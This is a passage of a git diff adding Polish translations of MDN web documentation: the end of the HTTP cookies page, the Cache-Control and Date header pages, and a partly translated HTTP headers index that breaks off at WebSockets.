internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są <a href="https://www.google.com/policies/technologies/types/">ciasteczka używane przez Google</a>. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> stworzony przez <a href="https://www.eff.org/">EFF</a>).</p> + +<p>Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie <a href="https://wikimediafoundation.org/wiki/Cookie_statement">oświadczenia fundacji Wikimedia</a> o plikach cookie.</p> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>Nie ma prawnych lub technologicznych wymagań używania nagłówka <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a>, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a> aby uzyskać więcej informacji.</p> + +<h3 id="Dyrektywa_UE_ws._plików_cookie">Dyrektywa UE ws. plików cookie</h3> + +<p>Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">dyrektywie 2009/136/EC</a> wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.</p> + +<p>W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.</p> + +<p>Aby dowiedzieć się więcej, sprawdź <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">artykuł na Wikipedii</a> oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.</p> + +<h3 id="Ciasteczka_zombie_i_Evercookies">Ciasteczka zombie i "Evercookies"</h3> + +<p>Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> i Flash Local Shared Objects.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> +</ul> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> +</ul> diff --git a/files/pl/web/http/headers/cache-control/index.html b/files/pl/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..8ce8eb1f63 --- /dev/null +++ b/files/pl/web/http/headers/cache-control/index.html @@ -0,0 +1,171 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +translation_of: Web/HTTP/Headers/Cache-Control +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cache-Control</code></strong> nagłówek jest stosowany do określania dyrektyw sterujących pamięcią podręczną w zapytaniu i odpowiedzi protokołu HTTP. Dyrektywy pamięci podręcznej są jednokierunkowe, co oznacza że dyrektywa użyta w zapytaniu klienta HTTP nie musi pojawić się w odpowiedzi serwera.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<p>Wielkość liter nie ma znaczeniu w określaniu dyrektyw. Dyrektywa może posiadać opcjonalny argument który może być podany jako token (słowo) lub string w cudzysłowiu. Możliwe jest podanie wielu dyrektyw przez oddzielenie ich przecinkiem.</p> + +<h3 id="Dyrektywy_zapytania">Dyrektywy zapytania</h3> + +<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w zapytaniu klienta HTTP.</p> + +<pre class="syntaxbox">Cache-Control: max-age=<seconds> +Cache-Control: max-stale[=<seconds>] +Cache-Control: min-fresh=<seconds> +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: only-if-cached +</pre> + +<h3 id="Dyrektywy_odpowiedzi">Dyrektywy odpowiedzi</h3> + +<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w odpowiedzi serwera HTTP.</p> + +<pre class="syntaxbox">Cache-Control: must-revalidate +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: public +Cache-Control: private +Cache-Control: proxy-revalidate +Cache-Control: max-age=<seconds> +Cache-Control: s-maxage=<seconds> +</pre> + +<h3 id="Extension_Cache-Control_directives">Extension <code>Cache-Control</code> directives</h3> + +<p>Extension <code>Cache-Control</code> directives are not part of the core HTTP caching standards document. Be sure to check the <a href="#Browser_compatibility">compatibility table</a> for their support.</p> + +<pre class="syntaxbox">Cache-Control: immutable +Cache-Control: stale-while-revalidate=<seconds> +Cache-Control: stale-if-error=<seconds> +</pre> + +<h2 id="Directives">Directives</h2> + +<h3 id="Cacheability">Cacheability</h3> + +<dl> + <dt><code>public</code></dt> + <dd>Indicates that the response may be cached by any cache.</dd> + <dt><code>private</code></dt> + <dd>Indicates that the response is intended for a single user and must not be stored by a shared cache. A private cache may store the response.</dd> + <dt><code>no-cache</code></dt> + <dd>Forces caches to submit the request to the origin server for validation before releasing a cached copy.</dd> + <dt><code>only-if-cached</code></dt> + <dd>Indicates to not retrieve new data. This being the case, the server wishes the client to obtain a response only once and then cache. From this moment the client should keep releasing a cached copy and avoid contacting the origin-server to see if a newer copy exists.</dd> +</dl> + +<h3 id="Expiration">Expiration</h3> + +<dl> + <dt><code>max-age=<seconds></code></dt> + <dd>Specifies the maximum amount of time a resource will be considered fresh. Contrary to <code>Expires</code>, this directive is relative to the time of the request.</dd> + <dt><code>s-maxage=<seconds></code></dt> + <dd>Overrides <code>max-age</code> or the <code>Expires</code> header, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd> + <dt><code>max-stale[=<seconds>]</code></dt> + <dd>Indicates that the client is willing to accept a response that has exceeded its expiration time. Optionally, you can assign a value in seconds, indicating the time the response must not be expired by.</dd> + <dt><code>min-fresh=<seconds></code></dt> + <dd>Indicates that the client wants a response that will still be fresh for at least the specified number of seconds.</dd> + <dt><code>stale-while-revalidate=<seconds></code> {{experimental_inline}}</dt> + <dd>Indicates that the client is willing to accept a stale response while asynchronously checking in the background for a fresh one. The seconds value indicates for how long the client is willing to accept a stale response.</dd> + <dt><code>stale-if-error=<seconds></code> {{experimental_inline}}</dt> + <dd>Indicates that the client is willing to accept a stale response if the check for a fresh one fails. The seconds value indicates for how long the client is willing to accept the stale response after the initial expiration.</dd> +</dl> + +<h3 id="Revalidation_and_reloading">Revalidation and reloading</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>The cache must verify the status of the stale resources before using it and expired ones should not be used.</dd> + <dt><code>proxy-revalidate</code></dt> + <dd>Same as <code>must-revalidate</code>, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd> + <dt><code>immutable</code></dt> + <dd>Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. <code>If-None-Match</code> or <code>If-Modified-Since</code>) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, <code>immutable</code> is only honored on <code>https://</code> transactions. For more information, see also this <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd> +</dl> + +<h3 id="Other">Other</h3> + +<dl> + <dt><code>no-store</code></dt> + <dd>The cache should not store anything about the client request or server response.</dd> + <dt><code>no-transform</code></dt> + <dd>No transformations or conversions should be made to the resource. The Content-Encoding, Content-Range, Content-Type headers must not be modified by a proxy. A non- transparent proxy might, for example, convert between image formats in order to save cache space or to reduce the amount of traffic on a slow link. The <code>no-transform</code> directive disallows this.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Preventing_caching">Preventing caching</h3> + +<p>To turn off caching, you can send the following response header. In addition, see also the <code>Expires</code> and <code>Pragma</code> headers.</p> + +<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h3 id="Caching_static_assets">Caching static assets</h3> + +<p>For the files in the application that will not change, you can usually add aggressive caching by sending the response header below. This includes static files that are served by the application such as images, CSS files and JavaScript files, for example. In addition, see also the <code>Expires</code> header.</p> + +<pre class="brush: bash">Cache-Control: public, max-age=31536000</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + <tr> + <td>{{RFC("5861")}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + </tr> + <tr> + <td>{{RFC("8246")}}</td> + <td>HTTP Immutable Responses</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html new file mode 100644 index 0000000000..f348b4e839 --- /dev/null +++ b/files/pl/web/http/headers/data/index.html @@ -0,0 +1,81 @@ +--- +title: Data +slug: Web/HTTP/Headers/Data +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Date</code></strong> jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="Dyrektywy">Dyrektywy</h2> + +<dl> + <dt><day-name></dt> + <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd> + <dt><day></dt> + <dd>2 digit day number, e.g. "04" or "23".</dd> + <dt><month></dt> + <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd> + <dt><year></dt> + <dd>4 digit year number, e.g. "1990" or "2016".</dd> + <dt><hour></dt> + <dd>2 digit hour number, e.g. "09" or "23".</dd> + <dt><minute></dt> + <dd>2 digit minute number, e.g. "04" or "59".</dd> + <dt><second></dt> + <dd>2 digit second number, e.g. "04" or "59".</dd> + <dt>GMT</dt> + <dd> + <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p> + </dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarką"><span class="short_text" id="result_box" lang="pl"><span>Zgodność z przeglądarką</span></span></h2> + +<p class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeżeli chcesz pomóc w dostarczeniu danch otwórz link: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</p> + +<p>{{Compat("http.headers.Date")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/pl/web/http/headers/index.html b/files/pl/web/http/headers/index.html new file mode 100644 index 0000000000..9c8850dc38 --- /dev/null +++ b/files/pl/web/http/headers/index.html @@ -0,0 +1,374 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p> + +<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p> + +<p>Headers can be grouped according to their contexts:</p> + +<ul> + <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li> + <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li> + <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li> + <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li> +</ul> + +<p>Headers can also be grouped according to how proxies handle them:</p> + +<dl> + <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt> + <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> + <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> + <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> +</dl> + +<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> + +<h2 id="Authentication">Authentication</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a server.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> +</dl> + +<h2 id="Caching">Caching</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>The time in seconds the object has been in a proxy cache.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>Specifies directives for caching mechanisms in both requests and responses.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>The date/time after which the response is considered stale.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>A general warning field containing information about possible problems.</dd> +</dl> + +<h2 id="Client_hints">Client hints</h2> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Content-DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Downlink")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Save-Data")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Viewport-Width")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Width")}}</dt> + <dd>...</dd> +</dl> + +<dl> + <dt> + <h2 id="Conditionals">Conditionals</h2> + </dt> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> +</dl> + +<h2 id="Connection_management">Connection management</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>Controls whether the network connection stays open after the current transaction finishes.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>Controls how long a persistent connection should stay open.</dd> +</dl> + +<h2 id="Content_negotiation">Content negotiation</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>Informs the server about which character set the client is able to understand.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> +</dl> + +<dl> +</dl> + +<h2 id="Controls">Controls</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>Send cookies from the server to the user agent.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> + <dt> + <h2 id="CORS">CORS</h2> + </dt> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>Indicates whether the response can be shared.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>Indicates how long the results of a preflight request can be cached.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>Indicates where a fetch originates from.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd>Specifies origins that are allowed to see values of attributes retrieved via features of the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, which would otherwise be reported as zero due to cross-origin restrictions.</dd> +</dl> + +<h2 id="Do_Not_Track">Do Not Track</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>Used for expressing the user's tracking preference.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>Indicates the tracking status that applied to the corresponding request.</dd> +</dl> + +<h2 id="Downloads">Downloads</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> +</dl> + +<h2 id="Message_body_information">Message body information</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>Indicates the media type of the resource.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>Used to specify the compression algorithm.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>Indicates an alternate location for the returned data.</dd> + <dt> + <h2 id="Proxies">Proxies</h2> + </dt> +</dl> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> +</dl> + +<h2 id="Redirects">Redirects</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>Indicates the URL to redirect a page to.</dd> +</dl> + +<h2 id="Request_context">Request context</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> +</dl> + +<h2 id="Response_context">Response context</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>Lists the set of HTTP request methods support by a resource.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>Contains information about the software used by the origin server to handle the request.</dd> +</dl> + +<h2 id="Range_requests">Range requests</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>Indicates the part of a document that the server should return.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>Indicates where in a full body message a partial message belongs.</dd> +</dl> + +<h2 id="Security">Security</h2> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>Controls resources the user agent is allowed to load for a given page.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.</dd> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>Force communication using HTTPS instead of HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>Enables cross-site scripting filtering.</dd> +</dl> + +<h2 id="Server-sent_events">Server-sent events</h2> + +<dl> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Transfer_coding">Transfer coding</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>Allows the sender to include additional fields at the end of chunked message.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + 